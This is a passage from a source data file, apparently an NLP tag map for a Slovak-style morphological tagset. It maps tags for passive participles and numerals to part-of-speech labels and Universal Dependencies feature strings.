"Gtmp3x": {POS: VERB, "morph": "Animacy=Anim|Case=Dat|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp3y": {POS: VERB, "morph": "Animacy=Anim|Case=Dat|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp3z": {POS: VERB, "morph": "Animacy=Anim|Case=Dat|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp4x": {POS: VERB, "morph": "Animacy=Anim|Case=Acc|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp4y": {POS: VERB, "morph": "Animacy=Anim|Case=Acc|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp4z": {POS: VERB, "morph": "Animacy=Anim|Case=Acc|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp5x": {POS: VERB, "morph": "Animacy=Anim|Case=Voc|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp5y": {POS: VERB, "morph": "Animacy=Anim|Case=Voc|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp5z": {POS: VERB, "morph": "Animacy=Anim|Case=Voc|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp6x": {POS: VERB, "morph": "Animacy=Anim|Case=Loc|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp6y": {POS: VERB, "morph": "Animacy=Anim|Case=Loc|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp6z": {POS: VERB, "morph": "Animacy=Anim|Case=Loc|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp7x": {POS: VERB, "morph": "Animacy=Anim|Case=Ins|Degree=Pos|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp7y": {POS: VERB, "morph": "Animacy=Anim|Case=Ins|Degree=Cmp|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtmp7z": {POS: VERB, "morph": "Animacy=Anim|Case=Ins|Degree=Sup|Gender=Masc|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtms1x": {POS: VERB, "morph": "Animacy=Anim|Case=Nom|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms1y": {POS: VERB, "morph": "Animacy=Anim|Case=Nom|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms1z": {POS: VERB, "morph": "Animacy=Anim|Case=Nom|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms2x": {POS: VERB, "morph": "Animacy=Anim|Case=Gen|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms2y": {POS: VERB, "morph": "Animacy=Anim|Case=Gen|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms2z": {POS: VERB, "morph": "Animacy=Anim|Case=Gen|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms3x": {POS: VERB, "morph": "Animacy=Anim|Case=Dat|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms3y": {POS: VERB, "morph": "Animacy=Anim|Case=Dat|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms3z": {POS: VERB, "morph": "Animacy=Anim|Case=Dat|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms4x": {POS: VERB, "morph": "Animacy=Anim|Case=Acc|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms4y": {POS: VERB, "morph": "Animacy=Anim|Case=Acc|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms4z": {POS: VERB, "morph": "Animacy=Anim|Case=Acc|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms5x": {POS: VERB, "morph": "Animacy=Anim|Case=Voc|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms5y": {POS: VERB, "morph": "Animacy=Anim|Case=Voc|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms5z": {POS: VERB, "morph": "Animacy=Anim|Case=Voc|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms6x": {POS: VERB, "morph": "Animacy=Anim|Case=Loc|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms6y": {POS: VERB, "morph": "Animacy=Anim|Case=Loc|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms6z": {POS: VERB, "morph": "Animacy=Anim|Case=Loc|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms7x": {POS: VERB, "morph": "Animacy=Anim|Case=Ins|Degree=Pos|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms7y": {POS: VERB, "morph": "Animacy=Anim|Case=Ins|Degree=Cmp|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtms7z": {POS: VERB, "morph": "Animacy=Anim|Case=Ins|Degree=Sup|Gender=Masc|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtnp1x": {POS: VERB, "morph": "Case=Nom|Degree=Pos|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp1y": {POS: VERB, "morph": "Case=Nom|Degree=Cmp|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp1z": {POS: VERB, "morph": "Case=Nom|Degree=Sup|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp2x": {POS: VERB, "morph": "Case=Gen|Degree=Pos|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp2y": {POS: VERB, "morph": "Case=Gen|Degree=Cmp|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp2z": {POS: VERB, "morph": "Case=Gen|Degree=Sup|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp3x": {POS: VERB, "morph": "Case=Dat|Degree=Pos|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp3y": {POS: VERB, "morph": "Case=Dat|Degree=Cmp|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp3z": {POS: VERB, "morph": "Case=Dat|Degree=Sup|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp4x": {POS: VERB, "morph": "Case=Acc|Degree=Pos|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp4y": {POS: VERB, "morph": "Case=Acc|Degree=Cmp|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp4z": {POS: VERB, "morph": "Case=Acc|Degree=Sup|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp5x": {POS: VERB, "morph": "Case=Voc|Degree=Pos|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp5y": {POS: VERB, "morph": "Case=Voc|Degree=Cmp|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp5z": {POS: VERB, "morph": "Case=Voc|Degree=Sup|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp6x": {POS: VERB, "morph": "Case=Loc|Degree=Pos|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp6y": {POS: VERB, "morph": "Case=Loc|Degree=Cmp|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp6z": {POS: VERB, "morph": "Case=Loc|Degree=Sup|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp7x": {POS: VERB, "morph": "Case=Ins|Degree=Pos|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp7y": {POS: VERB, "morph": "Case=Ins|Degree=Cmp|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtnp7z": {POS: VERB, "morph": "Case=Ins|Degree=Sup|Gender=Neut|Number=Plur|VerbForm=Part|Voice=Pass"},
"Gtns1x": {POS: VERB, "morph": "Case=Nom|Degree=Pos|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns1y": {POS: VERB, "morph": "Case=Nom|Degree=Cmp|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns1z": {POS: VERB, "morph": "Case=Nom|Degree=Sup|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns2x": {POS: VERB, "morph": "Case=Gen|Degree=Pos|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns2y": {POS: VERB, "morph": "Case=Gen|Degree=Cmp|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns2z": {POS: VERB, "morph": "Case=Gen|Degree=Sup|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns3x": {POS: VERB, "morph": "Case=Dat|Degree=Pos|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns3y": {POS: VERB, "morph": "Case=Dat|Degree=Cmp|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns3z": {POS: VERB, "morph": "Case=Dat|Degree=Sup|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns4x": {POS: VERB, "morph": "Case=Acc|Degree=Pos|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns4y": {POS: VERB, "morph": "Case=Acc|Degree=Cmp|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns4z": {POS: VERB, "morph": "Case=Acc|Degree=Sup|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns5x": {POS: VERB, "morph": "Case=Voc|Degree=Pos|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns5y": {POS: VERB, "morph": "Case=Voc|Degree=Cmp|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns5z": {POS: VERB, "morph": "Case=Voc|Degree=Sup|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns6x": {POS: VERB, "morph": "Case=Loc|Degree=Pos|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns6y": {POS: VERB, "morph": "Case=Loc|Degree=Cmp|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns6z": {POS: VERB, "morph": "Case=Loc|Degree=Sup|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns7x": {POS: VERB, "morph": "Case=Ins|Degree=Pos|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns7y": {POS: VERB, "morph": "Case=Ins|Degree=Cmp|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"Gtns7z": {POS: VERB, "morph": "Case=Ins|Degree=Sup|Gender=Neut|Number=Sing|VerbForm=Part|Voice=Pass"},
"J": {POS: INTJ, "morph": "_"},
"NAfp1": {POS: NUM, "morph": "Case=Nom|Gender=Fem|MorphPos=Adj|Number=Plur"},
"NAfp2": {POS: NUM, "morph": "Case=Gen|Gender=Fem|MorphPos=Adj|Number=Plur"},
"NAfp3": {POS: NUM, "morph": "Case=Dat|Gender=Fem|MorphPos=Adj|Number=Plur"},
"NAfp4": {POS: NUM, "morph": "Case=Acc|Gender=Fem|MorphPos=Adj|Number=Plur"},
"NAfp5": {POS: NUM, "morph": "Case=Voc|Gender=Fem|MorphPos=Adj|Number=Plur"},
"NAfp6": {POS: NUM, "morph": "Case=Loc|Gender=Fem|MorphPos=Adj|Number=Plur"},
"NAfp7": {POS: NUM, "morph": "Case=Ins|Gender=Fem|MorphPos=Adj|Number=Plur"},
"NAfs1": {POS: NUM, "morph": "Case=Nom|Gender=Fem|MorphPos=Adj|Number=Sing"},
"NAfs2": {POS: NUM, "morph": "Case=Gen|Gender=Fem|MorphPos=Adj|Number=Sing"},
"NAfs3": {POS: NUM, "morph": "Case=Dat|Gender=Fem|MorphPos=Adj|Number=Sing"},
"NAfs4": {POS: NUM, "morph": "Case=Acc|Gender=Fem|MorphPos=Adj|Number=Sing"},
"NAfs5": {POS: NUM, "morph": "Case=Voc|Gender=Fem|MorphPos=Adj|Number=Sing"},
"NAfs6": {POS: NUM, "morph": "Case=Loc|Gender=Fem|MorphPos=Adj|Number=Sing"},
"NAfs7": {POS: NUM, "morph": "Case=Ins|Gender=Fem|MorphPos=Adj|Number=Sing"},
"NAip1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAip2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAip3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAip4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAip5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAip6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAip7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAis1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAis2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAis3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAis4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAis5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAis6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAis7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAmp1": {POS: NUM, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAmp2": {POS: NUM, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAmp3": {POS: NUM, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAmp4": {POS: NUM, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAmp5": {POS: NUM, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAmp6": {POS: NUM, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAmp7": {POS: NUM, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Plur"},
"NAms1": {POS: NUM, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAms2": {POS: NUM, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAms3": {POS: NUM, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAms4": {POS: NUM, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAms5": {POS: NUM, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAms6": {POS: NUM, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAms7": {POS: NUM, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Adj|Number=Sing"},
"NAnp1": {POS: NUM, "morph": "Case=Nom|Gender=Neut|MorphPos=Adj|Number=Plur"},
"NAnp2": {POS: NUM, "morph": "Case=Gen|Gender=Neut|MorphPos=Adj|Number=Plur"},
"NAnp3": {POS: NUM, "morph": "Case=Dat|Gender=Neut|MorphPos=Adj|Number=Plur"},
"NAnp4": {POS: NUM, "morph": "Case=Acc|Gender=Neut|MorphPos=Adj|Number=Plur"},
"NAnp5": {POS: NUM, "morph": "Case=Voc|Gender=Neut|MorphPos=Adj|Number=Plur"},
"NAnp6": {POS: NUM, "morph": "Case=Loc|Gender=Neut|MorphPos=Adj|Number=Plur"},
"NAnp7": {POS: NUM, "morph": "Case=Ins|Gender=Neut|MorphPos=Adj|Number=Plur"},
"NAns1": {POS: NUM, "morph": "Case=Nom|Gender=Neut|MorphPos=Adj|Number=Sing"},
"NAns2": {POS: NUM, "morph": "Case=Gen|Gender=Neut|MorphPos=Adj|Number=Sing"},
"NAns3": {POS: NUM, "morph": "Case=Dat|Gender=Neut|MorphPos=Adj|Number=Sing"},
"NAns4": {POS: NUM, "morph": "Case=Acc|Gender=Neut|MorphPos=Adj|Number=Sing"},
"NAns5": {POS: NUM, "morph": "Case=Voc|Gender=Neut|MorphPos=Adj|Number=Sing"},
"NAns6": {POS: NUM, "morph": "Case=Loc|Gender=Neut|MorphPos=Adj|Number=Sing"},
"NAns7": {POS: NUM, "morph": "Case=Ins|Gender=Neut|MorphPos=Adj|Number=Sing"},
"ND": {POS: NUM, "morph": "MorphPos=Adv"},
"NFfp1": {POS: NUM, "morph": "Case=Nom|Gender=Fem|MorphPos=Mix|Number=Plur"},
"NFfp2": {POS: NUM, "morph": "Case=Gen|Gender=Fem|MorphPos=Mix|Number=Plur"},
"NFfp3": {POS: NUM, "morph": "Case=Dat|Gender=Fem|MorphPos=Mix|Number=Plur"},
"NFfp4": {POS: NUM, "morph": "Case=Acc|Gender=Fem|MorphPos=Mix|Number=Plur"},
"NFfp5": {POS: NUM, "morph": "Case=Voc|Gender=Fem|MorphPos=Mix|Number=Plur"},
"NFfp6": {POS: NUM, "morph": "Case=Loc|Gender=Fem|MorphPos=Mix|Number=Plur"},
"NFfp7": {POS: NUM, "morph": "Case=Ins|Gender=Fem|MorphPos=Mix|Number=Plur"},
"NFfs1": {POS: NUM, "morph": "Case=Nom|Gender=Fem|MorphPos=Mix|Number=Sing"},
"NFfs2": {POS: NUM, "morph": "Case=Gen|Gender=Fem|MorphPos=Mix|Number=Sing"},
"NFfs3": {POS: NUM, "morph": "Case=Dat|Gender=Fem|MorphPos=Mix|Number=Sing"},
"NFfs4": {POS: NUM, "morph": "Case=Acc|Gender=Fem|MorphPos=Mix|Number=Sing"},
"NFfs5": {POS: NUM, "morph": "Case=Voc|Gender=Fem|MorphPos=Mix|Number=Sing"},
"NFfs6": {POS: NUM, "morph": "Case=Loc|Gender=Fem|MorphPos=Mix|Number=Sing"},
"NFfs7": {POS: NUM, "morph": "Case=Ins|Gender=Fem|MorphPos=Mix|Number=Sing"},
"NFip1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFip2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFip3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFip4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFip5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFip6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFip7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFis1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFis2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFis3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFis4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFis5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFis6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFis7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFmp1": {POS: NUM, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFmp2": {POS: NUM, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFmp3": {POS: NUM, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFmp4": {POS: NUM, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFmp5": {POS: NUM, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFmp6": {POS: NUM, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFmp7": {POS: NUM, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Mix|Number=Plur"},
"NFms1": {POS: NUM, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFms2": {POS: NUM, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFms3": {POS: NUM, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFms4": {POS: NUM, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFms5": {POS: NUM, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFms6": {POS: NUM, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFms7": {POS: NUM, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Mix|Number=Sing"},
"NFnp1": {POS: NUM, "morph": "Case=Nom|Gender=Neut|MorphPos=Mix|Number=Plur"},
"NFnp2": {POS: NUM, "morph": "Case=Gen|Gender=Neut|MorphPos=Mix|Number=Plur"},
"NFnp3": {POS: NUM, "morph": "Case=Dat|Gender=Neut|MorphPos=Mix|Number=Plur"},
"NFnp4": {POS: NUM, "morph": "Case=Acc|Gender=Neut|MorphPos=Mix|Number=Plur"},
"NFnp5": {POS: NUM, "morph": "Case=Voc|Gender=Neut|MorphPos=Mix|Number=Plur"},
"NFnp6": {POS: NUM, "morph": "Case=Loc|Gender=Neut|MorphPos=Mix|Number=Plur"},
"NFnp7": {POS: NUM, "morph": "Case=Ins|Gender=Neut|MorphPos=Mix|Number=Plur"},
"NFns1": {POS: NUM, "morph": "Case=Nom|Gender=Neut|MorphPos=Mix|Number=Sing"},
"NFns2": {POS: NUM, "morph": "Case=Gen|Gender=Neut|MorphPos=Mix|Number=Sing"},
"NFns3": {POS: NUM, "morph": "Case=Dat|Gender=Neut|MorphPos=Mix|Number=Sing"},
"NFns4": {POS: NUM, "morph": "Case=Acc|Gender=Neut|MorphPos=Mix|Number=Sing"},
"NFns5": {POS: NUM, "morph": "Case=Voc|Gender=Neut|MorphPos=Mix|Number=Sing"},
"NFns6": {POS: NUM, "morph": "Case=Loc|Gender=Neut|MorphPos=Mix|Number=Sing"},
"NFns7": {POS: NUM, "morph": "Case=Ins|Gender=Neut|MorphPos=Mix|Number=Sing"},
"NNfp1": {POS: NUM, "morph": "Case=Nom|Gender=Fem|MorphPos=Num|Number=Plur"},
"NNfp2": {POS: NUM, "morph": "Case=Gen|Gender=Fem|MorphPos=Num|Number=Plur"},
"NNfp3": {POS: NUM, "morph": "Case=Dat|Gender=Fem|MorphPos=Num|Number=Plur"},
"NNfp4": {POS: NUM, "morph": "Case=Acc|Gender=Fem|MorphPos=Num|Number=Plur"},
"NNfp5": {POS: NUM, "morph": "Case=Voc|Gender=Fem|MorphPos=Num|Number=Plur"},
"NNfp6": {POS: NUM, "morph": "Case=Loc|Gender=Fem|MorphPos=Num|Number=Plur"},
"NNfp7": {POS: NUM, "morph": "Case=Ins|Gender=Fem|MorphPos=Num|Number=Plur"},
"NNip1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNip2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNip3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNip4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNip5": {POS: NUM, "morph": "Animacy=Inan|Case=Voc|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNip6": {POS: NUM, "morph": "Animacy=Inan|Case=Loc|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNip7": {POS: NUM, "morph": "Animacy=Inan|Case=Ins|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNmp1": {POS: NUM, "morph": "Animacy=Anim|Case=Nom|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNmp2": {POS: NUM, "morph": "Animacy=Anim|Case=Gen|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNmp3": {POS: NUM, "morph": "Animacy=Anim|Case=Dat|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNmp4": {POS: NUM, "morph": "Animacy=Anim|Case=Acc|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNmp5": {POS: NUM, "morph": "Animacy=Anim|Case=Voc|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNmp6": {POS: NUM, "morph": "Animacy=Anim|Case=Loc|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNmp7": {POS: NUM, "morph": "Animacy=Anim|Case=Ins|Gender=Masc|MorphPos=Num|Number=Plur"},
"NNnp1": {POS: NUM, "morph": "Case=Nom|Gender=Neut|MorphPos=Num|Number=Plur"},
"NNnp2": {POS: NUM, "morph": "Case=Gen|Gender=Neut|MorphPos=Num|Number=Plur"},
"NNnp3": {POS: NUM, "morph": "Case=Dat|Gender=Neut|MorphPos=Num|Number=Plur"},
"NNnp4": {POS: NUM, "morph": "Case=Acc|Gender=Neut|MorphPos=Num|Number=Plur"},
"NNnp5": {POS: NUM, "morph": "Case=Voc|Gender=Neut|MorphPos=Num|Number=Plur"},
"NNnp6": {POS: NUM, "morph": "Case=Loc|Gender=Neut|MorphPos=Num|Number=Plur"},
"NNnp7": {POS: NUM, "morph": "Case=Ins|Gender=Neut|MorphPos=Num|Number=Plur"},
"NSfp1": {POS: NUM, "morph": "Case=Nom|Gender=Fem|MorphPos=Noun|Number=Plur"},
"NSfp2": {POS: NUM, "morph": "Case=Gen|Gender=Fem|MorphPos=Noun|Number=Plur"},
"NSfp3": {POS: NUM, "morph": "Case=Dat|Gender=Fem|MorphPos=Noun|Number=Plur"},
"NSfp4": {POS: NUM, "morph": "Case=Acc|Gender=Fem|MorphPos=Noun|Number=Plur"},
"NSfp5": {POS: NUM, "morph": "Case=Voc|Gender=Fem|MorphPos=Noun|Number=Plur"},
"NSfp6": {POS: NUM, "morph": "Case=Loc|Gender=Fem|MorphPos=Noun|Number=Plur"},
"NSfp7": {POS: NUM, "morph": "Case=Ins|Gender=Fem|MorphPos=Noun|Number=Plur"},
"NSfs1": {POS: NUM, "morph": "Case=Nom|Gender=Fem|MorphPos=Noun|Number=Sing"},
"NSfs2": {POS: NUM, "morph": "Case=Gen|Gender=Fem|MorphPos=Noun|Number=Sing"},
"NSfs3": {POS: NUM, "morph": "Case=Dat|Gender=Fem|MorphPos=Noun|Number=Sing"},
"NSfs4": {POS: NUM, "morph": "Case=Acc|Gender=Fem|MorphPos=Noun|Number=Sing"},
"NSfs5": {POS: NUM, "morph": "Case=Voc|Gender=Fem|MorphPos=Noun|Number=Sing"},
"NSfs6": {POS: NUM, "morph": "Case=Loc|Gender=Fem|MorphPos=Noun|Number=Sing"},
"NSfs7": {POS: NUM, "morph": "Case=Ins|Gender=Fem|MorphPos=Noun|Number=Sing"},
"NSip1": {POS: NUM, "morph": "Animacy=Inan|Case=Nom|Gender=Masc|MorphPos=Noun|Number=Plur"},
"NSip2": {POS: NUM, "morph": "Animacy=Inan|Case=Gen|Gender=Masc|MorphPos=Noun|Number=Plur"},
"NSip3": {POS: NUM, "morph": "Animacy=Inan|Case=Dat|Gender=Masc|MorphPos=Noun|Number=Plur"},
"NSip4": {POS: NUM, "morph": "Animacy=Inan|Case=Acc|Gender=Masc|MorphPos=Noun|Number=Plur"},
